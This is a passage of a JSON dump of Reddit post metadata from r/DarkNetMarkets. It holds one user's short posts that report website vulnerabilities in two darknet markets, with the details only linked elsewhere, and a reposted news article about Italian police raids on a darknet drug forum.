6685 {
6686 "height": 383,
6687 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=640&fm=png&blur=600&px=32&s=f43a58a4f216c1a579dd75bb83128d0e",
6688 "width": 640
6689 },
6690 {
6691 "height": 574,
6692 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=960&fm=png&blur=600&px=32&s=9f242617fc1d06847c69e3da321012e8",
6693 "width": 960
6694 },
6695 {
6696 "height": 646,
6697 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=1080&fm=png&blur=600&px=32&s=0b8c8fd40d8c24a477dbfd01f62454de",
6698 "width": 1080
6699 }
6700 ],
6701 "source": {
6702 "height": 838,
6703 "url": "https://i.redditmedia.com/EmHtiUBNHyNYuLW28u40mO8pPCiFj1t5XFvwIsIrbdE.jpg?fm=png&blur=600&px=32&s=a001c1a1b1cb1117f4e0b9234be7eb13",
6704 "width": 1400
6705 }
6706 }
6707 }
6708 }
6709 ]
6710 },
6711 "retrieved_on": 1501699031,
6712 "score": 70,
6713 "selftext": "Took a look at DHL Market. Some rather obvious bugs in their website. Details here:\n\nhttps://gist.github.com/anonymous/f38115e9e8318fda2f89961503f31777\n\nHilarity when I report the bug to support and it triggered another XSS vuln there.\n\nSome of their req parameters seem very iffy and it wouldn't surprise me to find a lot more there - but I don't have time to dig deep at the moment (and would have to break out the captcha solver)",
6714 "spoiler": false,
6715 "stickied": false,
6716 "subreddit": "DarkNetMarkets",
6717 "subreddit_id": "t5_2yt0h",
6718 "thumbnail": "self",
6719 "title": "DHL Market Security Vulnerabilities",
6720 "url": "https://www.reddit.com/r/DarkNetMarkets/comments/6qxd1o/dhl_market_security_vulnerabilities/"
6721 },
6722 {
6723 "author": "t0mcheck",
6724 "author_flair_css_class": null,
6725 "author_flair_text": null,
6726 "brand_safe": false,
6727 "can_mod_post": false,
6728 "contest_mode": false,
6729 "created_utc": 1501589310,
6730 "domain": "self.DarkNetMarkets",
6731 "edited": 1501621034,
6732 "full_link": "https://www.reddit.com/r/DarkNetMarkets/comments/6qvs2m/sourcery_market_security_vulnerabilities/",
6733 "id": "6qvs2m",
6734 "is_self": true,
6735 "is_video": false,
6736 "link_flair_css_class": "a",
6737 "link_flair_text": "Market Complaint",
6738 "locked": false,
6739 "num_comments": 108,
6740 "over_18": true,
6741 "permalink": "/r/DarkNetMarkets/comments/6qvs2m/sourcery_market_security_vulnerabilities/",
6742 "retrieved_on": 1501688291,
6743 "score": 123,
6744 "selftext": "Took a quick look at Sourcery Market and found a bunch of vulnerabilities - including being able to read any private message. It took me longer to write these up than to find them:\n\nhttps://gist.github.com/anonymous/2b9e7a9ada8ee8d508ab58c347909150\n\nThis market should be shut down asap - the admins are in way over their heads. The security and code quality is inadequate for a child's blog let alone for a darknetmarket ",
6745 "spoiler": false,
6746 "stickied": false,
6747 "subreddit": "DarkNetMarkets",
6748 "subreddit_id": "t5_2yt0h",
6749 "thumbnail": "self",
6750 "title": "Sourcery Market Security Vulnerabilities",
6751 "url": "https://www.reddit.com/r/DarkNetMarkets/comments/6qvs2m/sourcery_market_security_vulnerabilities/"
6752 },
6753 {
6754 "approved_at_utc": null,
6755 "author": "t0mcheck",
6756 "author_flair_css_class": null,
6757 "author_flair_text": null,
6758 "banned_at_utc": null,
6759 "brand_safe": false,
6760 "can_mod_post": false,
6761 "contest_mode": false,
6762 "created_utc": 1500379667,
6763 "domain": "self.DarkNetMarkets",
6764 "full_link": "https://www.reddit.com/r/DarkNetMarkets/comments/6o0c40/italian_police_raid_27_homes_arrest_9_in_darkweb/",
6765 "id": "6o0c40",
6766 "is_self": true,
6767 "is_video": false,
6768 "link_flair_css_class": "b",
6769 "link_flair_text": "PSA / Article",
6770 "locked": false,
6771 "num_comments": 31,
6772 "over_18": true,
6773 "permalink": "/r/DarkNetMarkets/comments/6o0c40/italian_police_raid_27_homes_arrest_9_in_darkweb/",
6774 "post_hint": "self",
6775 "preview": {
6776 "enabled": false,
6777 "images": [
6778 {
6779 "id": "MosizLX8RkQGpLzsTuKTlA7YZTlYlF64egy2J9auRXM",
6780 "resolutions": [
6781 {
6782 "height": 49,
6783 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=108&s=20d608b26e3d671f611cb15e563ceb02",
6784 "width": 108
6785 },
6786 {
6787 "height": 98,
6788 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=216&s=0fefb84a4fe13e561e2428989a771117",
6789 "width": 216
6790 },
6791 {
6792 "height": 145,
6793 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=320&s=76946eb68c95ae434e4b17b0fa6395f9",
6794 "width": 320
6795 },
6796 {
6797 "height": 290,
6798 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=640&s=80e8c56d0451a8438e52457c6e81a015",
6799 "width": 640
6800 }
6801 ],
6802 "source": {
6803 "height": 300,
6804 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?s=837030e452aaa1fc7cac900e7f4040d2",
6805 "width": 660
6806 },
6807 "variants": {
6808 "nsfw": {
6809 "resolutions": [
6810 {
6811 "height": 49,
6812 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=108&fm=png&blur=600&px=32&s=699bbd3444a3f6ab2b721009af4feb16",
6813 "width": 108
6814 },
6815 {
6816 "height": 98,
6817 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=216&fm=png&blur=600&px=32&s=2840748a46d1ad5530eecf6e80fdaa9f",
6818 "width": 216
6819 },
6820 {
6821 "height": 145,
6822 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=320&fm=png&blur=600&px=32&s=0d60c0868798b362d4fd3168f33b6612",
6823 "width": 320
6824 },
6825 {
6826 "height": 290,
6827 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=640&fm=png&blur=600&px=32&s=d6b9940453908d7dfda5e3b1f8bb3e68",
6828 "width": 640
6829 }
6830 ],
6831 "source": {
6832 "height": 300,
6833 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fm=png&blur=600&px=32&s=5cc443c96a825cabd5ecdb594beef3a0",
6834 "width": 660
6835 }
6836 },
6837 "obfuscated": {
6838 "resolutions": [
6839 {
6840 "height": 49,
6841 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=108&fm=png&blur=600&px=32&s=699bbd3444a3f6ab2b721009af4feb16",
6842 "width": 108
6843 },
6844 {
6845 "height": 98,
6846 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=216&fm=png&blur=600&px=32&s=2840748a46d1ad5530eecf6e80fdaa9f",
6847 "width": 216
6848 },
6849 {
6850 "height": 145,
6851 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=320&fm=png&blur=600&px=32&s=0d60c0868798b362d4fd3168f33b6612",
6852 "width": 320
6853 },
6854 {
6855 "height": 290,
6856 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fit=crop&crop=faces%2Centropy&arh=2&w=640&fm=png&blur=600&px=32&s=d6b9940453908d7dfda5e3b1f8bb3e68",
6857 "width": 640
6858 }
6859 ],
6860 "source": {
6861 "height": 300,
6862 "url": "https://i.redditmedia.com/GuEm9JiN50NjpGTyPu7c8anh60XlxutjXf_PmqLKwE8.jpg?fm=png&blur=600&px=32&s=5cc443c96a825cabd5ecdb594beef3a0",
6863 "width": 660
6864 }
6865 }
6866 }
6867 }
6868 ]
6869 },
6870 "retrieved_on": 1500840105,
6871 "score": 29,
6872 "selftext": "https://www.deepdotweb.com/2017/07/17/italy-finishes-27-italian-darknet-community-raids/\n\n> Italy Finishes 27 More Italian Darknet Community Raids\n\n> POSTED BY: C. ALIENS JULY 17, 2017 IN FEATURED, NEWS UPDATES LEAVE A COMMENT\n\n>On the morning of June 29, 2017, Italian police raided 27 homes throughout 27 provinces. The raids resulted in nine arrests, although only one of the suspects, as of July 1, was identified as a darknet drug vendor. This operation was part two of an investigation into the users of the former Italian Darknet Community.\n\n>The State Police of Rome and the Lecco Mobile Squad found a 19-year-old from Paterno, a province of Potenza. He had marijuana and hashish in his home. Additionally, he operated a grow operation. The teenager had eight guests, all young. They had an an unknown quantity of \u201dsynthetic drugs.\u201d\n\n>On April 28, law enforcement in Italy acted on what has become nearly an 18 month investigation into IDC. Police raided 45 houses and arrested several high profile individuals. One in particular stood out more than the others. A vendor from the Silk Road era that the FBI failed to catch.\n\n> The FBI gave the information they had gathered to their partner Italian agencies. With this information and their own investigation into the darknet forum/market called the Italian Darknet Community, Italian authorities closed in. The vendor from the FBI sting, Kriminale, landed in their multi-province sweep.\nMarco Cadeddu, a Lecco Police department head, said \u201cwe conducted an investigation into IDC, supported by technical activities and the use of undercover agents.\u201d The police made it seem as if they found numerous Italian darknet sites but little evidence of this exists. \u201cWe have identified sites and forums that offer [\u2026] drugs of various kinds, cocaine, heroin, hashish and synthetic drugs and weapons, forged documents, accounts of e-commerce sites payable to non-existent people or the subject of identity theft, as well as ransomware.\u201d\n\n> Cadeddu said that he was very proud of his \u201csmall police station\u201d for catching darknet vendors. In addition to Kriminale, Lecco police arrested another, younger, vendor known as \u201cSkytec.\u201d A third individual connected to IDC also fell into police custody. He was not a vendor and despite the names given to him by the media and police, the third suspect\u2019s identity and relation to IDC remained unknown. He was a clandestine banker and reportedly used the name \u201cGhibli\u201d online. Certain communities disagreed with this claim.\n\n>During the June raids, police seized synthetic drugs from the additional eight individuals before removing them from the equation. According to investigators on the scene, four were not vendors but were \u201caddicts\u201d of the synthetic drug. And, the other, less rewarding provinces raided were: Belluno, Biella, Bologna, Mantua, Florence, Matera, Milan, Perugia, Pesaro and Urbino, Power, Rimini, Salerno, Siena, Sondrio, Trieste, Udine, Venice and Verona.\n\n> \u201cThis additional step [in the IDC investigation] highlights and confirms the spread of the phenomenon of drugs online sales, particularly on the darknet,\u201d Cadeddu closed. The investigation is still ongoing although we will likely be unaware until a few dozen raids occur on an early morning in Italy.\n\n",
6873 "spoiler": false,
6874 "stickied": false,
6875 "subreddit": "DarkNetMarkets",
6876 "subreddit_id": "t5_2yt0h",
6877 "suggested_sort": null,
6878 "thumbnail": "nsfw",
6879 "thumbnail_height": null,
6880 "thumbnail_width": null,
6881 "title": "Italian police raid 27 homes, arrest 9 in darkweb drug related investigation tipped off by FBI",
6882 "url": "https://www.reddit.com/r/DarkNetMarkets/comments/6o0c40/italian_police_raid_27_homes_arrest_9_in_darkweb/",
6883 "view_count": null
6884 }
6885 ],
6886 "metadata": {
6887 "execution_time_milliseconds": 31.66,
6888 "results_returned": 8,
6889 "sort_direction": "desc",
6890 "sort_type": "created_utc",
6891 "timed_out": false,
6892 "total_results": 8,
6893 }
6894}
6895to join this conversation on GitHub. Already have an account? Sign in to comment
6896
6897 © 2017 GitHub, Inc.
6898 Terms
6899 Privacy
6900 Security
6901 Status
6902 Help
6903
6904 Contact GitHub
6905 API
6906 Training
6907 Shop
6908 Blog
6909 About